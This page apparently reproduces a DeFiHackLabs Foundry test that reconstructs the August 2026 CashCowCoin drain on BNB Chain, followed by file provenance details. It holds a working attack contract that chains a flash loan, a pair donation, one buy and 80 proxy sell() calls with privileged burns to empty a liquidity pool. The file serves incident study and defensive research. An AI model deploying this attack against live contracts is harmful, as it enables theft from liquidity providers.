Public reproduction file
src/test/2026-08/CashCowCoin_exp.sol
Public reproduction file for dataset entry CashCowCoin.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// CashCowCoin (CCC) — privileged burn + premature sync() pair drain — BNB Chain, 2026-08-27.8// Attacker net profit ~165.47 WBNB (~$117.4K), the entire WBNB side of the CCC/WBNB pair.9//10// Exploit tx : 0x89d8050641019a5a75fa3dafb4f64fb153e4dd30c0f1f51d06a6cc206d3ead43 (block 118384061)11// Attacker EOA : 0x7977BDeeE3A79Dc85Cc18739692e796B5D2513C412// Attacker helper (calldata NOT replayed here) : 0x7738b4D7c25E9A7092AE1AB402343B20340DaEaf13//14// Contracts (all real, on-chain, verified this run against the trace and live state):15// CCC trading proxy (EIP-1967) : 0xf523224c6171f81c54b93f474ed4c78de91241c716// implementation : 0x4287742E50fAd6d3351000fD31632412ab29A9ac17// CCC token : 0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC (pair token0, fee-on-transfer)18// WBNB : 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c (pair token1)19// CCC/WBNB PancakeSwap V2 pair : 0x1DBE9458A6840784d5DEfD62C6b71386100097c020// PancakeSwap V2 router : 0x10ED43C718714eb63d5aA57B78B54704E256024E21// Moolah lending pool (flash) : 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C (impl 0x9321587EA0DC8247f8F03E8696C047b2713bB79A)22//23// Root cause (verified on-chain, NOT a stolen key):24// the trading proxy exposes public, permissionless buy()/sell() entry points. sell(amount, minOut,25// deadline) does, in order: transferFrom(caller -> proxy) of CCC, a normal CCC->WBNB swap through26// the pair (proceeds sent to the caller as BNB), THEN calls the CCC token's privileged function27// 0xb20a0b6f (labeled "TreasuryRefilled") which burns the freshly-arrived post-tax CCC straight out28// of the pair to 0x...dEaD, and finally calls pair.sync(). The burn selector is gated so only the29// proxy may call it -- confirmed this run: a direct call from an arbitrary address reverts -- but30// that gate protects nothing, because the proxy's own public sell() is the thing that calls it, on31// the caller's behalf. Each sell therefore removes CCC that was just added to the pair and re-syncs,32// so the pair's CCC reserve stays roughly flat while its WBNB reserve is bled out cycle after cycle.33//34// The attacker's exact sequence, verified from the trace (1 buy + 80 sells + 80 privileged burns):35// 1. Flash-loan 416,831.487 WBNB from Moolah (free, repaid 1:1 at the end).36// 2. Donate 13,999.890 WBNB into the pair and pair.sync() -- inflate the WBNB reserve as working37// float so the cycles drain efficiently in 80 steps.38// 3. buy{value: 402,831.596 BNB} -> receive 8,805,839.807 CCC (post fee-on-transfer tax).39// 4. sell(8,805,839.807 / 80) x 80. Each sell swaps CCC->WBNB to the attacker as BNB, then the40// proxy burns ~104,569 CCC out of the pair via 0xb20a0b6f and syncs. Pair WBNB reserve is41// ratcheted from 165.4899 down to 0.0179; CCC reserve stays ~326,767.42// 5. Wrap all BNB proceeds (416,996.958), repay the 416,831.487 WBNB flash loan, keep the43// difference: 165.4719 WBNB.44//45// This PoC is a real reconstruction, not a replay. It deploys its own attacker contract that calls46// the proxy's real buy()/sell() functions with typed calls in an 80-cycle loop, funded by a real,47// typed Moolah flash loan (the same free capital source the attacker used; no PancakeSwap V2 pair48// holds anything near 416k WBNB, so a V2 flash swap cannot supply this size). The attacker's helper49// contract bytecode/calldata at 0x7738b4D7 is never used, and the privileged burn is never called50// directly -- it runs only because the real proxy.sell() invokes it, exactly as on-chain.51//52// forge test --contracts src/test/2026-08/CashCowCoin_exp.sol -vvv --evm-version cancun54interface IMoolah {55 function flashLoan(56 address token,57 uint256 amount,58 bytes calldata data59 ) external;60}62interface ICCCProxy {63 function buy(64 uint256 amountIn,65 uint256 amountOutMin,66 uint256 deadline67 ) external payable;68 function sell(69 uint256 amountIn,70 uint256 amountOutMin,71 uint256 deadline72 ) external;73}75interface IWBNB {76 function deposit() external payable;77 function withdraw(78 uint256 wad79 ) external;80 function transfer(address to, uint256 wad) external returns (bool);81 function approve(address spender, uint256 wad) external returns (bool);82 function balanceOf(83 address84 ) external view returns (uint256);85}87interface IPancakePair {88 function sync() external;89 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);90}92contract CashCowCoinAttack {93 IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);94 ICCCProxy internal constant PROXY = ICCCProxy(0xF523224c6171f81C54b93F474ed4c78dE91241C7);95 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);96 IERC20 internal constant CCC = IERC20(0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC);97 IPancakePair internal constant PAIR = IPancakePair(0x1DBE9458A6840784d5DEfD62C6b71386100097c0);99 // Exact on-chain sizing.100 uint256 internal constant LOAN = 416_831_487_011_304_318_246_517; // 416,831.487 WBNB flash loaned101 uint256 internal constant SEED = 13_999_890_970_633_457_505_314; // 13,999.890 WBNB donated to the pair102 uint256 internal constant BUY = 402_831_596_040_670_860_741_203; // 402,831.596 BNB spent in the single buy103 uint16 internal constant CYCLES = 80;105 address internal immutable owner;107 constructor() {108 owner = msg.sender;109 }111 function attack() external returns (uint256 profit) {112 // Real, typed flash loan. Moolah hands over the WBNB, calls onMoolahFlashLoan, then pulls113 // back exactly LOAN via transferFrom (approved below in the callback).114 MOOLAH.flashLoan(address(WBNB), LOAN, "");115 profit = WBNB.balanceOf(address(this));116 WBNB.transfer(owner, profit);117 }119 function onMoolahFlashLoan(uint256 assets, bytes calldata) external {120 require(msg.sender == address(MOOLAH), "not moolah");121 uint256 deadline = block.timestamp;123 // Inflate the pair's WBNB reserve with working float, then sync it in.124 WBNB.transfer(address(PAIR), SEED);125 PAIR.sync();127 // Single buy: WBNB -> BNB -> proxy.buy() -> CCC back to this contract.128 WBNB.withdraw(BUY);129 PROXY.buy{value: BUY}(BUY, 0, deadline);131 // Sell the whole CCC stack back in CYCLES equal chunks. Each proxy.sell() runs the real132 // CCC->WBNB swap and then the proxy's privileged burn + premature sync on the pair.133 uint256 stack = CCC.balanceOf(address(this));134 CCC.approve(address(PROXY), type(uint256).max);135 uint256 chunk = stack / CYCLES;136 for (uint16 i = 0; i < CYCLES; i++) {137 PROXY.sell(chunk, 0, deadline);138 }140 // Wrap all BNB proceeds and approve the flash-loan repayment.141 WBNB.deposit{value: address(this).balance}();142 WBNB.approve(address(MOOLAH), assets);143 }145 receive() external payable {}146}148contract CashCowCoin_exp is BaseTestWithBalanceLog {149 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);150 IPancakePair internal constant PAIR = IPancakePair(0x1DBE9458A6840784d5DEfD62C6b71386100097c0);152 uint256 internal constant FORK_BLOCK = 118_384_060; // parent of the exploit block 118384061153 uint256 internal constant EXPECTED_PROFIT = 165_471_928_251_512_413_319; // 165.4719 WBNB, exact on-chain155 function setUp() public {156 vm.createSelectFork("bsc", FORK_BLOCK);157 vm.label(0xF523224c6171f81C54b93F474ed4c78dE91241C7, "CCC_TradingProxy");158 vm.label(0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC, "CCC_Token");159 vm.label(address(WBNB), "WBNB");160 vm.label(address(PAIR), "CCC_WBNB_Pair");161 vm.label(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C, "Moolah");162 }164 function testExploit() public {165 (, uint112 wbnbBefore,) = PAIR.getReserves(); // token1 = WBNB167 CashCowCoinAttack exploit = new CashCowCoinAttack();168 uint256 gain = exploit.attack();170 (, uint112 wbnbAfter,) = PAIR.getReserves();171 uint256 drained = uint256(wbnbBefore) - uint256(wbnbAfter);173 emit log_named_decimal_uint("attacker WBNB profit", gain, 18);174 emit log_named_decimal_uint("WBNB drained from pair", drained, 18);176 // The pair's WBNB side is essentially emptied.177 assertLt(uint256(wbnbAfter), 0.1e18, "pair WBNB not drained");178 // Net profit and the pair drain both land at ~165.47 WBNB.179 assertApproxEqAbs(gain, EXPECTED_PROFIT, 0.1e18, "profit off expected ~165.47 WBNB");180 assertApproxEqAbs(drained, EXPECTED_PROFIT, 0.1e18, "drain off expected ~165.47 WBNB");181 }182}Analysis
Dataset entry
Public Foundry test for “CashCowCoin” (2026-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7977bdeee3a79dc85cc18739692e796b5d2513c4
- Attacker
0x7738b4d7c25e9a7092ae1ab402343b20340daeaf
File record
- Name
- CashCowCoin
- Path
- src/test/2026-08/CashCowCoin_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 536d6963af704ad673716eb44e3fd1418f2fafea
- Language
- Solidity
- Size
- 183 lines
- Date
- 2026-08-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/CashCowCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 536d6963af704ad673716eb44e3fd1418f2fafea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.